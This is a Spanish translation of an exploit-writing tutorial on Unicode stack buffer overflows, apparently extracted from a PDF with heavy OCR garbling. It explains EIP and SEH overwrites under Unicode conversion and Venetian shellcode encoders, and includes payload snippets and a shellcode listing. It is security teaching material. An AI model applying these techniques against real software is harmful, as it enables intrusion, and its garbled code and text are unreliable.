Creacién de Exploits 7: Unicode — De 0x00410041aCalc por
corelancOd3r traducido por lvinson/CLS




Creacién de Exploits 7: Unicode — De 0x00410041aCalc por
corelancOd3r traducido por lvinson/CLS

Unicode — De 0x00410041 a la Calc

Finalmente, después de pasar un par de semanagjatdd en
vulnerabilidades Unicode y exploits Unicode, estelyz de poder lanzar
este tutorial de mi serie basica de escritura géoas: escribiendo exploits
basados en desbordamientos de buffer de pila Umidpdaya! jQué
bocado!).

T4 puedes (0 no) haberte encontrado en una situaamdla que has
realizado un desbordamiento de buffer, sobresadloieya sea una
direccién de RET o un registro de SEH, pero enrldgaver 0x41414141
en EIP, tienes 0x004041.

A veces, cuando los datos se utlizan en una fapncidlgunas
manipulaciones se aplican. A veces los datos sderten a mayudsculas, a
minusculas, etc. En algunos casos los datos seiectanv a Unicode.
Cuando veas 0x008M41 en EIP, en muchos casos, esto probablemente
significa que tu Payload se habia convertido a ddlecantes de que fuera
puesto en la pila.

Durante mucho tiempo, la gente creia que estedipsobrescritura no se
podia aprovechar. Y que esto podria llevar a umegheion de servicio
(DoS), pero no a la ejecucion de cadigo.

En el 2002, Chris Anley escribid un articulo quemdestra que esta
afirmacion es falsa. Entonces, nacié el términoellBbde de Venecia”
(Venetian Shellcode).

En enero del 2003, un articulo fue escrito por &hr@bscou, lo que
demuestra una técnica para convertir este conatimen una Shellcode
funcional, y alrededor de un mes mas tarde, Davel Aio a conocer un
script para automatizar este proceso.

En el 2004, FX demostré un nuevo script que peamiptimizar esta
técnica aun mas.

Por ultimo, un poco mas tarde, SkyLined publicoé famoso alpha2
encoder, que te permite construir Shellcodes compatibl®s dnicode
también. Vamos a hablar de estas técnicas y hemngéasi mas tarde.

Esto es del 2009. Aqui esta mi tutorial. No corgieada nuevo, sino que
debe explicar todo el proceso, en un solo documento
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Con el fin de encontrar 0x00dM1 en la construccion de un exploit
funcional, hay un par de cosas que hay que ackrgsrimer lugar. Es
importante entender lo que es Unicode. ¢ Por quddtis se convierten a
Unicode? ¢ Como se lleva a cabo la conversién? gfeata el proceso de
conversion? y ¢como la conversién afecta el prodesmnstruccion de un
exploit?

alpha2 encoderpor SkyLined:
http://skypher.com/wiki/index.php?title=Www.eduml&lft.nl/~bjwever/do
cumentation_alpha2.html.php

Script de FX:
http://www.blackhat.com/presentations/win-usa-044bh-04-fx.pdf

Script de Dave Aitel:
http://www.blackhat.com/presentations/win-usa-03Abh-03-aitel/bh-
win-03-aitel.pdf

Articulo de Chris Anley:
http://www.ngssoftware.com/papers/unicodebo.pdf

¢, Qué es Unicode y por qué un programador
decidiria la conversion de datos a Unicode?

Wikipedia dice: "Unicode es un estandar de la itriusle la computacion

permitiendo a los ordenadores representar y mani@lltexto expresado
en la mayoria de los sistemas de escritura del mwmhstantemente.
Desarrollado en conjunto con el Estandar de Caextdniversales y se
publicé en forma de libro como el Unicode estantaxltima version de

Unicode se compone de un repertorio de mas de A@téracteres que
cubren 90 guiones, un conjunto de graficos de oogaya la referencia
visual, una metodologia de codificacion y conjud® codificaciones de

caracteres estandar, una enumeracion de las padgiedle caracteres,
como mayusculas y mindsculas, un conjunto de awshinformaticos de

datos de referencia, y una serie de elementosiortios, tales como
propiedades de caracteres, las leyes para la rinatiah, descompaosicion,
clasificacion, la representacion y orden de presédres bidireccionales
(para la correcta visualizacién de texto que cagganescrituras tanto de
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derecha a izquierda (como el arabe o el hebreo) cdenizquierda a
derecha)".

En pocas palabras, Unicode nos permite represemsaalmente y/o

manipular el texto en la mayoria de los sistematode el mundo de una
manera consistente. Asi que las aplicaciones sgepudtilizar en todo el
mundo, sin tener que preocuparse acerca de comeatelse vera cuando
se muestre en una computadora. Casi cualquier dadgra en otra parte
del mundo.

La mayoria de ustedes deberian estar mas o menvokaf@ados con
ASCII. En esencia, utiliza 7 bits para represehf8d caracteres, a menudo
se almacenan en 8 bits, o un byte por cada carditgerimer caracter
empieza en 00 y el ultimo esta representado endeexaal por 7F.
(Puedes ver la tabla ASCII completalgtp://www.asciitable.cony/

Unicode es diferente. Si bien hay muchas formasrefites de Unicode,
UTF-16 es uno de los mas populares. No es de extrgfie se componga
de 16 bits, y se divida en diferentes bloques oazofleer mas en
http://czyborra.com/unicode/characters.htmiPara tu informacién, la
extensién ha sido definida para permitir 32 big&jlo recuerda esto: los
caracteres necesarios para el lenguaje vivo damoylebe ser colocado en
el plan O original de Unicode (también conocidmooPlano Multilingtie
Basico = BMP). Eso significa que los caracteresddmmas mas simples,
como los utilizados para escribir este tutoriapresentados en Unicode,
comienzan con 00 (seguido de otro byte que sesmonele con el valor
hexadecimal del caracter ASCII original).

Puedes encontrar un gran panorama de los distidtigos de caracteres
Unicode aquihttp://unicode.org/charts/index.html

Ejemplo: el caracter ASCIlI "A" = 41 (hexadecimaR, representacion
Unicode Latin basico es 0041.

Hay muchas mas paginas de cdodigos y algunos derel@omienzan con
00. Es importante recordar esto también.

Hasta aqui todo bien. Tener una forma unificadaa papresentar los
caracteres es bueno, pero ¢por qué hay muchastodsasa en ASCII?
Bueno, la mayoria de las aplicaciones que trabegancadenas, usan un
byte nulo como terminador de cadena. Asi que &idrde rellenar los datos
Unicode en una cadena de caracteres ASCII, la eaadentermina de
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inmediato. Asi que esta es la razon, por ejempbaplicaciones de texto
plano (como SMTP, POP3, etc) todavia utilizan ASg2lia la creacion de
las comunicaciones. (OK, el Payload puede ser icadd y puede usar
Unicode, pero la aplicacion de transporte en BzatASCII).

Si conviertes el texto ASCIl a Unicode (cédigo @e dagina ANSI),
entonces el resultado se vera como si el "00" seliafa antes de cada
byte. Asi que AAAA (41 41 41 41), ahora se verimod041 0041 0041
0041. Por supuesto, esto es solo el resultado @eamversion de datos a
caracteres de formato ancho. El resultado de ciealquonversion de
Unicode depende de la pagina de cédigos que sautil

Vamos a echar un vistazo a la funcion MeltiByteToWideChar (que
cambia una cadena de caracteres en una cadenaadeeiess de formato
ancho Unicode):

MultiByteToWideChar(
UINT CodePage,
DWORD dwFlags,
LPCSTR IpMultiByteStr,

cbMultiByte,

LPWSTR IpWideCharStr,
cchwideChar

Como puedes ver, la pagina de cédigos es import&tdgeinos valores
posibles son:

CP_ACP (pagina de codigos ANSI, que se utiliza dnddivs, también
conocida como UTF-16), CP_OEMCP (pagina de codigasM),
CP_UTF7 (pagina de codigos UTF-7), CP_UTF8 (padmaddigos UTF-
8), etc.

El parametrdpMultiBytestr contiene la cadena de caracteres que se desea
convertir, y elpWideCharStr contiene el puntero al buffer que recibira la
cadena traducida (Unicode).

Asi que es erroneo afirmar que unicode = 00 + & bgiginal. Depende de
la pagina de codigos.

Puedes ver la pagina de codigos que se utilizal esistema mirando las
"Opciones regionales y de idioma".
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En mi sistema, lo tengo configurado asi:
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El articulo de FX muestra una bonita tabla de lasacteres ASCII (en
hexadecimal), y las diversas representaciones Udaidoexadecimales
(ANSI, OEM, UTF-7 y UTF-8). Notaras que, desde ASC480, algunas
de las representaciones ANSI ya no contienen hyiéss (pero que se
convierten en O0Oxc200XXXX o0 O0xc300XXXX), algunas d&as
transformaciones OEM son totalmente diferentesj gacesivamente.

Por lo tanto, es importante recordar que solo dmaateres ASCII entre 01h
y 7fh tienen una representacion en la norma ANStadte donde los bytes
nulos son anadidos a ciencia cierta. Vamos a rtac@stos conocimientos
mas tarde.

Un programador puede haber decidido utilizar estecibn, a proposito,
por razones obvias (como se indica mas arriba)o Rerveces, el
programador no puede incluso saber en qué medidsad® Unicode "bajo
el capd" cuando una aplicacion es construida/caail
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De hecho, las API's de Win32 a menudo traducenneada Unicode antes
de trabajar con ellas. En algunos casos, (comoejgmplo con Visual
Studio), la API utilizada se basa en si la macriN|I@DDE se establece
durante la construccion o no. Si la macro estédbkstiaa, las rutinas y los
tipos se asignan a las entidades que pueden hacée &2 Unicode. Las
Funciones de las API's se pueden cambiar también.efemplo, la
llamada a CreateProcess se cambia a CreateProc@dsitode) o
CreateProcessA (ANSI), basado en el estado dedeoma

¢,Cual es el resultado de la conversion Unicode o
Impacto en el desarrollo de exploits?

Cuando una string de entrada se convierte en lma&NSI Unicode, para

todos los caracteres entre 0x00 y Ox7f, un byte salantepone. Por otra
parte, una gran cantidad de caracteres por encn@x ¢ se traducen en 2
bytes, y estos 2 bytes no necesariamente puedéneorl byte original.

Esto rompe todo lo que hemos aprendido sobre d¢gpjoia Shellcode

hasta el momento.En todos los tutoriales anterianeentamos sobrescribir
EIP con 4 bytes (excluyendo sobreescritura interatioente parciales).

Con Unicode, sélo controlas 2 de estos 4 bytes dtoss dos es mas
probable que sean nulos. Asi que en cierto modognérolas los valores

nulos también) Por otra parte, el conjunto de utsibn disponibles (se

utilizan para saltar, por Shellcode, etc) se vétdida. Después de todo, un
byte nulo se coloca delante de la mayoria de ltesby encima de eso, los
demas bytes (> 0x7f) se acaban de convertir entatgbmente diferente.

En este articulo de Phrack (ver capitulo 2) expticales instrucciones se
pueden y cuales no se pueden utilizar mas. Inadasas simples como un
monton de NOP’s (0x90) se convierten en un probléthg@rimer NOP
puede funcionar. El segundo NOP (debido a la alidea se convierte en
la instruccién 0090 (o 009.000) y ya deja de seNOP. Asi que suena
como un monton de obstaculos que hay que tomaedNde extrafar, al
principio la gente pensaba que no era explotable.
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Lee los Documentos

He explicado brevemente lo que sucedid en los meaéss después de la
publicacion de "Creacion de Shellcode Arbitraridaeadena de Unicode
Expandida".

Cuando estaba recordando la lectura y tratandontender todos estos
documentos y técnicas (véase la URL en el princg®oeste tutorial),
quedo claro que esta es una gran cosa. Por desgraeitomé un poco de
tiempo para entender y de poner todo junto. Olyredg de los conceptos
estan bien explicados en estos documentos. Pardestiostraran parte de
la imagen. Y yo no podrias encontrar ninglnos bsieacursos para poner
todo en su lugar.

Desafortunadamente, y a pesar de mis esfuerzoshgatlo de que he
preguntado mucho (mensajes de correo electronigottef, listas de
correo, etc), no he recibido mucha ayuda de oteasopas en un primer
momento.

A lo mejor mucha gente no queria explicarme estiovéiz se olvidaron de
gue no nacieron con estas habilidades. Tuvieroragtender esto también
una forma u otra), estaban demasiado ocupados ndispdo a mi
pregunta tonta, o simplemente no me lo podian explio sencillamente
me ignoraron porque... No se.

De todas formas, al final, mucha gente amable eaientomd el tiempo
para responderme adecuadamente (en lugar de ledesrncia a algunos
documentos en formato pdf una y otra vez). Gragasos. Si lees esto, y
quieres tu nombre aqui, hdzmelo saber.

Volviendo a los archivos pdf. Bien, estos documentdas herramientas
son muy buenos. Pero cada vez que he leido unstde éocumentos,
comienzo a pensar: "Bueno, eso es genial. Ahotang puedo aplicarlo?
¢, Como puedo convertir este concepto en un explodgidnal”.

Hazme un favor y tbmate el tiempo para leer estasimientos ta mismo.
Si logras entender completamente cdmo construitoggpde Unicode
exclusivamente basado en estos documentos, da la &, entonces eso es
genial. Puedes saltarte el resto de este tutariséguir leyendo y burlarte
de mi porgue se me hizo dificil entender esto).
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Pero si quieres aprender cémo poner todos estosivesc pdf y
herramientas en conjunto y tomar la milla extra geerequiere para
convertir eso en creacion de exploits, contintarelyp.

Algunos de ustedes pueden estar familiarizados ecquloits unicode,

vinculados a los errores basados en el navegadarpylverizacion del

Heap (monticulo) mejor conocida como Heap Sprayingesar de que el
namero de errores de los navegadores se ha indauoen
exponencialmente en el dltimo par de afos (y elemande exploits y los
recursos estan aumentando), yo no voy a hablastdetécnica de exploit
aqui. Mi objetivo principal es explicar los deshkardentos de pila que
estdn sujetos a la conversion de Unicode. Algunadep® de este
documento vendran a mano cuando ataquemos a legadores también
(sobre todo el trozo de Shellcode de este docuaitos pueda que no.

¢,Podemos construir un exploit cuando nuestro
buffer se convierte en Unicode?

Ante todo:

En primer lugar, aprenderas que no hay ningundifdgaoomodin para la
creacion de exploits Unicode. Cada exploit podea (g probablemente)
sera diferente, sera necesario un enfoque difeyeptede requerir mucho
trabajo y esfuerzo. Vas a tener que jugar con lisets, registros,
instrucciones, escribir sus propias lineas de &badl de Venecia, etc. Asi
que el ejemplo que voy a utilizar aca, no puedelseryuda en absoluto en
tu caso particular. El ejemplo que se utiliza de s ejemplo de como
implementar diversas técnicas. Basicamente, demauést maneras de
construir tus propias lineas de cddigo y ponertio tmnto para conseguir
gue el exploit haga lo que ta quieras que haga.

EIP es 0x004Q041. ¢ Y ahora qué?

En los tutoriales anteriores, hemos hablado dep2stide exploits:

sobrescritura directa de RET o sobrescritura de.SEdtos 2 tipos de
sobrescritura, por supuesto, siguen siendo vatdasexploits unicode. En
un desbordamiento de pila tipico, o bien sobresaskel RET con 4 bytes
(pero debido a Unicode, sblo 2 bytes estan bajo cantrol),

0 sobrescribirdas los campos de registro de exaeesiestructuradas del
manejador (el préximo SEH y SE Handler), cada w4 bytes, una vez
mas de los cuales solo dos estan bajo tu control.
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¢, Como podemos todavia abusar de esto para congaguiiP haga lo que
necesitamos que haga? La respuesta es simplescobirelos 2 bytes de
EIP con algo util.

RET Directo: sobrescribir EIP con algo util

La idea global detras de "saltar a la Shellcodelhdo tenemos EIP sigue
siendo el mismo, si se trata de un desbordamieatdwudfer ASCII o
Unicode. En el caso de una sobrescritura direct&RE&, tendras que
encontrar un puntero a una instruccién (o una skerimstrucciones) que te
llevard a tu Shellcode y necesitaras sobrescrilfirdn ese puntero. Asi
gue hay que encontrar un registro que apunte autterb(incluso si
contiene bytes nulos entre todos los caracteres.h&o necesidad de
preocuparse por esto todavia), y tendras quese aegjistro.

El dnico problema es el hecho de que no puedes touadquier direccion.
La direccion que hay que buscar necesita ser 'feada’ de tal manera
que, si los 00"s se agregan, la direccién sigumieigalida.

Asi que, esencialmente, esto nos deja sélo comidmgs:

1. Encontrar una direccién que apunte a tu saltodda/instruccion, y que
se vea asi: 0Ox0OOnnOOmm. Entonces, si sobrescrib&E€ con 0xnn,

Oxmm se convertiria en 00nnOOmm o, alternativamesiteno puedes
encontrar una direccion:

2. Encuentra una direccion que tenga también etdtnr 0OxOONn0OOmMmM, y
cerca de la llamada/salto/instruccion que quiejesutar. Comprueba que
las instrucciones entre la direccion y la direcaigal de la llamada/salto no
dafaran tu pila/registros, y utiliza esa direccion.

¢, Coémo podemos encontrar estas direcciones?

FX ha escrito un plugin agradable para OllyDbgniiao OllyUNI), y mi
propio pluginpvefindaddr de ImmDbg te ayudara con esta tarea también.

OllyUNI: http://www.mediafire.com/?4av57f0bzzpl5ap

Pvefindaddrhttp://www.mediafire.com/?ficxqztc9092k08
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Digamos que necesitas saltar a EAX. puafindaddr.py en la carpeta de
instalacion pyCommands de ImmDbg.

C:\Archivos de programa\lmmunity Inc\immunity Delgeg\PyCommands

A continuacion, abre la aplicacion vulnerable emidbg y ejecuta:

Ipvefindaddr j eax

Esto mostrara una lista de todas las direccionesJN¥ eax". Estas
direcciones no so6lo se mostraran en el Log de Intsnidebugger, sino
gue también se escribe en un archivo de texto damgxt.

"C:\Archivos de programa\lmmunity Inc\lmmunity Dedger).txt "

Abre el archivo y busca "Unicode".

Puedes encontrar 2 tipos de entradas: las entquaasdicen “Maybe
Unicode compatible” (Tal vez compatible con Unichdelas entradas que
dicen “Unicode compatible” (compatible con Unicade)

Si puedes encontrar direcciones "compatibles caodde ", entonces estas
son direcciones de esta forma 0x00nnOOmm. (Asidgbes ser capaz de
utilizar una de estas direcciones sin mayor ingaston)

Si encuentras direcciones "Tal vez compatible concadle”, entonces
necesitas mirar estas direcciones. Seran asi 0Q@fnm. Asi que si nos
fijamos en las instrucciones entre 0xOONNOOmMmM YAROMMM, y ves que
estas instrucciones no dafaran el flujo de la agbo/registros/...,
entonces puedes utilizar la direccion 0x00ONnnOOmMme(yecorrera todo el
camino hasta llegar a la instruccion CALL/JMP er®@@nOmmm). En
esencia, tu saltards mas o menos cerca/cercardgrlaccion del salto real,
y la esperanza de que las instrucciones entreitaaibn y el salto real, no
te va a matar. :-)

OllyUNI, basicamente, hace lo mismo. El sistema na@rara las
direcciones de Unicode amigables. De hecho, se basaar todas las
instrucciones CALL/JMP Reg/... (por lo que tendage pasar por el
registro y ver si puedes encontrar una direccioa spite en el registro
deseado.
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Basicamente, estamos en busca de direcciones gtengan bytes nulos
en el lugar correcto. Si EIP contiene 0x00nnOOmmitoreces debes
encontrar una direccion con el mismo formato. SP Etontiene
0xnnOOMmMOO, entonces debes encontrar una direcoieste formato.

En el pasado, siempre hemos tratado de evitar nytles, ya que actian
como un terminador de cadena. Esta vez necesitdinszsiones con bytes
nulos. No necesitas preocuparte acerca de la tacidmde cadena, ya que
no pondremos los bytes nulos en la cadena quevéa &tha aplicacion. La
conversion Unicode insertara los bytes nulos parasotnos
automagicamente.

Supongamos que has encontrado una direcciéon sald@yamos que la
direcciébn es 0xO05E0018. Esta direccion no contiesn@cteres con un
valor hexadecimal > 7f. Asi que la direccién dedbéuncionar.
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Supongo que te has dado cuenta de cuantos bytesseobiran el EIP
guardado. (Puedes usar un patron de Metasploitgséma pero tendras que
mirar los bytes antes y después de sobrescribirdeiel fin de obtener al
menos 4 caracteres). Te voy a mostrar un ejemploodeo hacer que
coincidan mas adelante en este tutorial.

Supongamos que sobrescribes EIP después de e0ia’S. Y si deseas
sobrescribir EIP con el "JMP EAX (en 0x005e001§drque EAX apunta
a las A’s), entonces la secuencia de comandostelebeeste aspecto:

$junk=" A" x 500;
$ret=" \x18\x5e "

$pay|oad=$junk.$ret;

Asi que en lugar de sobrescribir EIP con pack Q¥Q05E0018), se puede
sobreescribir EIP con 5E 18. Unicode anade bytEsrtente a 5E, y entre
5E y 18, por lo que EIP se sobrescribira cobe0018

(La conversion de cadena a formato ancho se hizyp ae la adicion de
los valores nulos justo donde nosotros queriamesegtuvieran. Paso 1
logrado.)

SEH: ¢ Adueiarse de EIP + salto corto? (¢,0 no?)

¢, Qué pasa si la vulnerabilidad es de SEH? De ke patorial 3 y 3b,
hemos aprendido que debemos sobreescribir el SHIétason un puntero
al POP POP RET, y sobrescribir nSEH con un saltimco

Con Unicode, todavia necesitas sobrescribir el §&dkr con un puntero
al POP POP RET. Una vez mas, pvefindaddr nos agudar

Ipvefindaddr p2

De nuevo, esto se escribira en el log de ImmDBt@ampbién en un archivo
llamado ppr2.txt:

"C:\Archivos de programa\lmmunity Inc\immunity Dedger\ppr2.txt"
Abre el archivo y busca "Unicode" de nuevo. Si mseeéncontrar una

entrada, que no contiene bytes > 7f, entonces puaide de sobrescribir el
SE Handler con esta direccion. Una vez mas, dejadielos bytes nulos
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(que se afadiran automaticamente debido a la cgsiduwede Unicode). En
NSEH, pon \XCC \XCC (2 BP’s, 2 bytes. Una vez ni@ds,bytes nulos
seran agregados), y ve qué pasa.

Si todo va bien, POP POP RET se ejecuta y seragyidd al primer BP.

En exploits sin Unicode, seria necesario sustésios BP'S en nSEH con
un salto corto y saltar por encima de la direcadéh SE Handler para la
Shellcode. Pero les puedo asegurar, escribiendaltm corto en Unicode,
con solo 2 bytes, separados por bytes nulos. Notesi€on ello. No va a
funcionar. Por lo tanto, termina aqui.

SEH: saltar (¢, O deberia decir "caminar"?)

Ok. No termina aqui. Solo estaba bromeando. Podéaos este trabajo,
bajo ciertas condiciones. Voy a explicar como fanai esto en el ejemplo
en la parte inferior de este tutorial, asi que medq con la teoria por el
momento. Todo quedara claro cuando nos fijamog ejemplo, asi que no
te preocupes. (Y si no entiendes, pregunta. Estaés que feliz
explicandote).

La teoria es la siguiente: en lugar de escribiigmgara hacer un salto
corto (OXEB, 0x06), tal vez podemos hacer que ploéixejecute codigo

inofensivo por lo que s6lo camina sobre el nSEHresaito y SEH, y

termina justo después de donde hemos sobrescrih I8Eejecucion del

coédigo que se coloca después de haber sobreetxrigstructura SE.
Esto es, de hecho, exactamente lo que queriamaar leg primer lugar,

saltando por encima de nSEH y SEH.

Para ello, se necesitan 2 cosas:

- Un par de instrucciones que, cuando se ejecaotanausan ningun dafo.
Tenemos que poner estas instrucciones en el nSEH

- La direccion compatible con Unicode utilizadagaobrescribir el SE
Handler no debe causar ningun dafio tampoco cusméfecuta segun las
instrucciones.

¢ Suena confuso? Que no cunda el panico. Voy acexpsto con mas
detalle en el ejemplo en la parte inferior de asiarial.
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¢ Asi que solo podemos poner 0xO0NnOOnn en EIP?

Si y no. Cuando miras la tabla de traduccién dieddie, tal vez tengas
otras opciones junto al formato obvio 0x00nnOONN.

Los valores representados en ASCIl hexadecimal # 8& traducen de
manera diferente. En la mayoria de los casos &a,tpagina 15 - 17), la
traduccién convierte la version Unicode en algdiris.

Por ejemplo 0x82 se convierte en 1A20. Asi queusidps encontrar una
direccion en el formato de 0x00nn201A, entonceslpsi@isar el hecho de
gue 0x82 se convierte en el 201A.

El Unico problema que puedas tener con esto, &b aginstruyendo un
exploit basado en SEH, que podria conducir a ubl@nma, porque después
del POP POP RET, los bytes de la direccibn se w&acucomo
instrucciones. Mientras que las instrucciones actt@mo NOP’s o no
causan grandes cambios, esta bien. Creo que splgueaprobar todas las
direcciones "compatibles con Unicode" disponiljleger por ti mismo si
hay una direccion que funcione. Una vez mas, sdeutlizar pvefindaddr
(plugin de Immdbg) para encontrar las direcciong3P PPOP RET
utilizables que sean compatibles con Unicode.

Las direcciones se podrian buscar, ya sea que egnpieterminen con:

AC20 (= 80 ASCII), 1a20 (= 82 ASCII), 9201 (= 83 B81), 1e20 (= 84
ASCIl), y asi sucesivamente (solo échale un vistazda tabla de
traduccién.). El éxito no esta garantizado, perie Va pena mientras lo
intentamos.

Listo para ejecutar la Shellcode. Pero ¢ esta lista Shellcode?

Ok, ahora que sabemos qué poner en EIP. Pero sfijap®s en tu
Shellcode ASCII, también contendra bytes nulos iyses utilizan las
instrucciones (opcodes) por encima de Ox7f, lasruosiones incluso
podrian haber cambiado. ¢ Cédmo podemos hacer qudéuesione? ¢Hay
una manera de convertir la Shellcode ASCII (al igmae las que se
generan con Metasploit) en la Shellcode compatdale Unicode? ¢O
tenemos que escribir nuestro propio asunto? Estamopunto de
averiguarlo.
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Shellcode: Técnica 1: Encontrar el equivalente A§Ghltar a él

En la mayoria de los casos, la cadena de cara&&@H que se introduce
en la aplicacidon se convierte a Unicode despuégiddue puesta en la pila
o en la memoria. Esto significa que puede ser f@sificontrar una version
ASCII de tu Shellcode en alguna parte. Asi queusdps decirle a EIP que
salte a ese lugar, puede que funcione.

Si la version ASCII no es directamente accesiblesgdar a un registro),

sino a controlar el contenido de uno de los raggstentonces puedes ir a
ese registro, y colocar un poco de jumpcode b&sicese lugar, lo que

hard el salto a la la version ASCII. Vamos a hatiaeste jumpcode mas
adelante.

Un buen ejemplo de un exploit usando esta técreigaiede encontrar aqui:

http://www.milwOrm.com/exploits/6302

Shellcode: Técnica 2: Escribe tu propia Shellcantepatible con Unicode
desde cero.

Correcto. Es posible, no facil, pero es posibley Hajores formas. (Véase
la técnica 3)

Shellcode: Técnica 3: Usar un decodificador.

Ok, sabemos que la Shellcode elaborada en Metagplascrita por ti
mismo) no funcionara. Si la Shellcode no fue es@gpecificamente para
Unicode, se producird un error. (Se insertan byug®s, se cambian
opcodes, etc.)

Afortunadamente, un par de personas inteligentascbastruido algunas
herramientas (basados en el concepto de la Shelleeciana) que va a
resolver este problema. (Dave Aitel, FX y SkyLined)

En esencia, se reduce a esto: Es necesario coddi&hellcode ASCII a
un coédigo compatible con Unicode, anteponer un di@cador (también
compatible con Unicode). Entonces, cuando el dé&cador esté
ejecutado, se decodificara el cédigo original ysgecutado.

Hay 2 formas principales de hacerlo: ya sea mesliEnteproducciéon del
cddigo original en un lugar de memoria indepenaieptiuego saltar a ese
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lugar, o cambiando el cddigo "en linea" y luegoceier la Shellcode
reproducida. Puedes leer todo acerca de estasrientas (y los principios
en los que se basan) en los documentos correspteglienencionados al
principio de este tutorial. La primera técnica rsfega 2 cosas: uno de los
registros debe apuntar al principio del decodificad Shellcode, y un
registro debe apuntar a una ubicacion de memogasgupueda escribir (y
donde sea adecuado escriba la Shellcode nuevaneielasla). La segunda
técnica requiere solamente uno de los registroatapa el comienzo del
decodificador + Shellcode y el Shellcode origirs&,vuelven a ensamblar
en el lugar.

¢, Podemos utilizar estas herramientas para la aongin de una Shellcode
funcional, y si es asi, ¢,cOmo debemos usarlas? ¥anaer.

1. makeunicode2.py (Dave Aitel)
Este script forma parte de CANVAS, una herramieatenercial de
Immdbg. Puesto que no tengo una licencia, no helpatk probarla (por

lo tanto, no puedo explicar su uso).

http://www.immunitysec.com/products-canvas.shtmi

2. vense.pl (FXhttp://www.phenoelit-us.org/win/

Basado en la explicacion de FX en su presenta@d@latckhat de 2004

http://www.blackhat.com/presentations/win-usa-044bh-04-fx.pdf

Este impresionante script en perl parece produr@r version mejorada
sobre lo que se consigue con makeunicode2.py. licas#e este script es
una cadena de bytes, que contiene un decodifigadoBhellcode original

todo-en-uno. Asi que en vez de poner tu Shellced®letasploit generada
en el buffer, es necesario colocar la salida dse.ghen el buffer.

Con el fin de poder utilizar el decodificador, n&tes poder establecer los
registros de la siguiente manera: un registro @ghmtar directamente al
comienzo de la ubicacion del buffer donde tu Shdic generada por
vense.pl, sera colocada.

(En el proximo capitulo, voy a explicar como camhas valores en los
registros por lo que puede apuntar a un registouaquier lugar que
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desees). Después, necesitas tener un segundaagegis¢é apunte a una
ubicacidon de memoria que tenga permisos de esctntusea ejecutable
(RWX), y donde sea adecuado escribir datos (siroogyer cualquier otra
cosa).

Supongamos que el registro que sera estableciddeaplicomienzo de la
Shellcode generada por vense.pl es EAX, y EDI apanina ubicacion de
escritura. Edita vense.pl y establece los paraméipasereg y $writable a
los valores requeridos.

1 #!/usr/bin/perl -w

Z

3 #

4 Tl # CONFIG HERE !

5 #

]

7 ="eax";
| 8 ="edi”;

9 # Forbidden characters - thisz iz for MultiByteTolWideChar with codepage 0x4E4
10 [iforbidden = {

11 000, 0x30, Ox&2, Ox83, Ox34, O0x85, Ox86, Ox37, OxE83, 0x89,

1z B4, Ox8B, Ox3C, Ox8E, Ox91, Ox92, Ox93, Ox94, Ox95, Ox56,

13 %97, 098, Ox99, 0NS94, Ox9E, 090, OXSE, Ox9F

14 b

15 # NOTE: If none of your registers points to the beginning of the wenetian
18 # shellcode part, you have to set offset from fhasereq yourself. Negatiwve
17 # walues are not [yet) sqpported. goffset should be the number of bytes from
15 # fhasereg to the wenetian shellcode plus a nuwber of bytes for the wenetian
19 # part itself. Upon execution, it should point to the rewaining elements of
20 # §secondstage. 4 good number is probably the initial offset plus Ox400. An
21 # offset of 0 assumes your fbasereq points directly to the beginning of the
a5 # wenetian shellcode.
Z3 #
24 # foffset = <£set yourself, see ahowe:;
25 = 0;
Z6
27 #
28 T‘ # /CONFIG

#

A continuacion, desplazate hacia abajo y busceaofisistage.

Quita el contenido de esta variable y reemplazantasu propia Shellcode
de Perl (generada con Metasploit). (Este es lalc&iugd ASCIlI que se
ejecuta después de que el decodificador ha hectratsjo).

103

103 #

104 # The real stuff

105 #

106

107

108 #

109 T‘# The shellcode to be extracted by the venetian part

110 #

JLILIL

112 =

113 " xEE". # pop ebx (0x00000000)

114 AP AP EIR-E AP # mov esp, [esp+0x18] {0x00000001)

115 B AR08 00000000, # pop dword [£3:0x0] (0x00000005)
116 AN CA 04y 2002004007, # add esp,0x4 (0x0000000C)

117 YHEEYKO0Y,x00Y 200y 200", # call O0x17 (0x00000012)

L1 5D, # pop ebp (0x000000L7)

113 " xBINKEE". # mov ebx,ebp (0x00000018)

120 HBLIAKOI AR 00N 2004007, # add ebx,0x4e (0x0000001A)

L2l VHBLNKEE Y 1T 00Nk 0042007, # sub ebx,0<17 (0x00000020)

jLzz "HEFVRO00N 00201 =00", # mov edi,0x10000 (0x00000026)

123 xEdT. # pusha (Ox0000002E)

124 " EET. # push ehx (0x000000ZC)

125 B FRL IS 000000 200", # push dword [fs:0x0] (0x0000002D)
L26 THEANMEI 2B R0, 0000007, # mow [E3:0x0],esp (0x00000034)
127 " BINKEE". # mov esi,edi (0x0000003E)

L2 MEBLINMIE e S we 03 TAT. # cup dword [esi],0x74316c65 (Ox00000030)
123 T ANKO3T. # Jz Ox4B (0x00000043)

130 AR # inc esi (0x00000045)

151 "\xEBVKFE". # Jomp short Ox3d (0x00000048)

132 4T # inc esi (0x00000048)

153 A S # inc esi (Ox00000049)

154 AT # inc esi (Ox00000044)

—_ e i i 0UnONONnAE

shrhar s G3AA  nhline : 362 in:z1 calisa selin iz ansr
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Guarda el archivo y ejecuta el script.

La salida mostrara:

- La Shellcode original.

- La Shellcode nueva (la que incluye el decodiftcad

Ahora usa esta "nueva" Shellcode en tu exploitegasate de que apunta a
EAX al principio de esta Shellcode. Lo mas probaddeque tengas que
ajustar los registros (a menos que tengas suerte).

Cuando los registros son configurados, soélo tiemas ejecutar "JMP
EAX" y el decodificador que va a extraer la Shalke@riginal y ejecutarlo.
Una vez mas, en el préoximo capitulo te mostraré ocom
configurar/modificar los registros y dar el salttilizando un cédigo
compatible con Unicode.

Nota 1. este codificador que se acaba de gener&hellcode sodlo

funcionara cuando se convierte a Unicode en primgar, y luego es

ejecutado. Por lo que no puedes utilizar ested@8hellcode en un exploit
gue no sea Unicode.

Nota 2: a pesar de que el algoritmo utilizado dr ssript es una mejora
con respecto amakeunicode2.py todavia vas a terminar con una
Shellcode bastante larga. Por lo que necesitasgpat® de buffer adecuado
(o corto, sin una Shellcode compleja) con el finpbeer utilizar esta
técnica.

3.Alpha2 (SkyLinedhttp://packetstormsecurity.org/shellcode/alphayzar

El famoso codificador alpha2 (adoptado también #asoherramientas
como Metasploit, y muchas otras) tomara tu Shedicadiginal, la
empaquetara en un decodificador (muy parecidogaudovense.pl lo hace),
pero aqui tienes la ventaja:

- S6lo se necesita un registro que apunte al pimcie esta Shellcode. No
es necesario un registro adicional que tenga pesnidg escritura o sea
ejecutable.
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- El decodificador desempaqueta el cédigo origieal el lugar. El
decodificador es auto-modificable, y la cantidadltdel espacio de buffer
